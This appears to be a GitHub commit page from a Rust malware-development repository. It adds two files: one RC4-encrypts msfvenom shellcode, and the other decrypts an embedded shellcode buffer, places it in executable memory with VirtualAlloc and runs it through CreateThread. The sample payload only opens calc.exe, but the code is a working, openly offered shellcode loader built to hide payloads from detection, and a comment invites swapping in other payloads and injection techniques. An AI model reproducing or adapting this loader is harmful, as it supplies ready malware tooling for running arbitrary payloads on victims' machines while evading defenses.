Skip to content

Commit fbdbb78

Browse files
committed
rc4 encrypt methods
1 parent c222173 commit fbdbb78

File tree

3 files changed

+166
-133
lines changed

3 files changed

+166
-133
lines changed

Encryption Methods/Rc4EncodeShellcode.rs

Lines changed: 0 additions & 133 deletions
This file was deleted.
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
/*
2+
Rc4 Shellcode Encryption
3+
For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
4+
@5mukx
5+
*/
6+
7+
// Reference [WIkiPedia] : https://en.wikipedia.org/wiki/RC4
8+
struct Rc4{
9+
s: [u8; 256],
10+
i: usize,
11+
j: usize,
12+
}
13+
14+
impl Rc4 {
15+
fn new(key: &[u8]) -> Rc4{
16+
let mut s = [0u8; 256];
17+
for i in 0..256{
18+
s[i] = i as u8;
19+
}
20+
21+
// Key Scheduling Algorithm (KSA): Permutation
22+
let mut j = 0;
23+
for i in 0..256{
24+
j = (j + s[i] as usize + key[i % key.len()] as usize) % 256;
25+
s.swap(i, j);
26+
}
27+
Rc4{s,i:0,j:0}
28+
}
29+
30+
// Pseudo-random Generation Algorithm (PRGA): Generation of Keystream
31+
fn apply_keystream(&mut self, data: &mut [u8]){
32+
for byte in data.iter_mut() {
33+
self.i = (self.i + 1) % 256;
34+
self.j = (self.j + self.s[self.i] as usize) % 256;
35+
self.s.swap(self.i, self.j);
36+
let t = (self.s[self.i] as usize + self.s[self.j] as usize) % 256;
37+
*byte ^= self.s[t];
38+
}
39+
}
40+
}
41+
42+
fn main(){
43+
let key = b"This is nerdy .. im the key :)";
44+
let mut rc4 = Rc4::new(key);
45+
46+
// repalce your shellcode
47+
// msfvenom -p windows/x64/exec CMD=calc.exe -f rust
48+
let mut shellcode: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
49+
0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
50+
0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
51+
0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
52+
0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
53+
0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
54+
0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
55+
0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
56+
0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
57+
0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
58+
0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
59+
0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
60+
0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
61+
0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
62+
0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
63+
0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
64+
0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
65+
0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
66+
0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
67+
0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
68+
0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
69+
0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
70+
0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
71+
0x2e,0x65,0x78,0x65,0x00];
72+
73+
74+
rc4.apply_keystream(&mut shellcode);
75+
76+
println!("[+] Encrypted Shellcode: {:?}",shellcode);
77+
}
78+
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
2+
/*
3+
An POC of Rc4 Encryption Technique
4+
For More Codes:
5+
@5mukx
6+
*/
7+
8+
use rc4::{Rc4, KeyInit, StreamCipher};
9+
use winapi::um::{errhandlingapi::GetLastError, handleapi::CloseHandle, memoryapi::VirtualAlloc, processthreadsapi::{CreateThread, ResumeThread}};
10+
use std::ptr::{self, null_mut};
11+
use winapi::um::synchapi::WaitForSingleObject;
12+
13+
14+
macro_rules! okey {
15+
($msg:expr, $($arg:expr), *) => {
16+
println!("\\_____[+] {}", format!($msg, $($arg), *));
17+
};
18+
}
19+
20+
macro_rules! error {
21+
($msg:expr, $($arg:expr), *) => {
22+
println!("\\_____[-] {}", format!($msg, $($arg), *));
23+
println!("Exiting ...");
24+
std::process::exit(1);
25+
};
26+
}
27+
fn main(){
28+
29+
// Encrypted Shellcode here !
30+
let mut buf = [142, 107, 104, 1, 240, 64, 88, 236, 94, 35, 59, 43, 23, 163, 122, 216, 40, 91, 225, 163,
31+
24, 202, 162, 245, 58, 83, 126, 124, 154, 221, 246, 138, 169, 156, 122, 229, 96, 197, 32,
32+
154, 184, 228, 37, 246, 97, 159, 100, 21, 176, 235, 208, 102, 118, 149, 129, 227, 214,
33+
113, 253, 12, 224, 23, 213, 164, 249, 147, 55, 113, 32, 10, 171, 55, 186, 43, 138, 206,
34+
223, 211, 9, 255, 24, 173, 56, 176, 4, 136, 170, 184, 17, 174, 194, 102, 43, 40, 209, 25,
35+
195, 9, 35, 255, 225, 61, 179, 248, 23, 172, 15, 75, 224, 142, 66, 206, 197, 159, 44, 132,
36+
35, 245, 119, 141, 255, 101, 67, 112, 70, 198, 144, 182, 154, 228, 167, 94, 87, 156, 165,
37+
219, 127, 76, 223, 204, 227, 199, 69, 231, 238, 213, 16, 250, 85, 219, 172, 51, 233, 217,
38+
191, 140, 80, 204, 70, 80, 182, 70, 45, 59, 79, 154, 5, 74, 119, 200, 145, 37, 21, 44, 205,
39+
55, 164, 149, 240, 250, 37, 37, 39, 78, 134, 8, 195, 216, 61, 199, 36, 1, 47, 29, 213, 168,
40+
237, 192, 250, 103, 48, 145, 233, 154, 242, 90, 71, 88, 148, 163, 61, 6, 123, 28, 255, 57,
41+
120, 56, 206, 208, 74, 36, 183, 190, 184, 95, 86, 76, 141, 151, 99, 59, 233, 47, 178, 249,
42+
18, 115, 253, 16, 212, 200, 95, 140, 121, 211, 167, 201, 140, 96, 245, 126, 230, 54, 220,
43+
38, 40, 24, 223, 42, 254, 233, 81, 16, 154, 51, 191, 205, 46, 90, 205, 172, 90, 56, 64, 11];
44+
45+
// key => let key = b"This is nerdy .. im the key :)";
46+
let mut rc4 = Rc4::new(b"This is nerdy .. im the key :)".into());
47+
rc4.apply_keystream(&mut buf);
48+
49+
50+
// => After this you can use you own Technique to inject the shellcode !
51+
unsafe{
52+
let vir_addr = VirtualAlloc(
53+
null_mut(),
54+
buf.len(),
55+
0x1000 | 0x2000,
56+
0x40,
57+
);
58+
59+
if vir_addr.is_null(){
60+
error!("VirAlloc Error, Failed to allocate mem: {}",GetLastError());
61+
}
62+
okey!("Allocated Address: {:?}",vir_addr);
63+
64+
ptr::copy(buf.as_ptr(), vir_addr as *mut u8, buf.len());
65+
66+
let h_thread = CreateThread(
67+
null_mut(),
68+
0,
69+
std::mem::transmute(vir_addr),
70+
null_mut(),
71+
0x00000004, // CREATE_SUSPEND
72+
null_mut(),
73+
);
74+
75+
if h_thread.is_null(){
76+
error!("Failed to create Thread :{:?}",GetLastError());
77+
}
78+
79+
okey!("Execution addr: {:?}",h_thread);
80+
81+
ResumeThread(h_thread);
82+
okey!("Executed Shellcode ...{}","!");
83+
84+
WaitForSingleObject(h_thread, 0xFFFFFFFF);
85+
CloseHandle(h_thread);
86+
}
87+
}
88+

0 commit comments

Comments
 (0)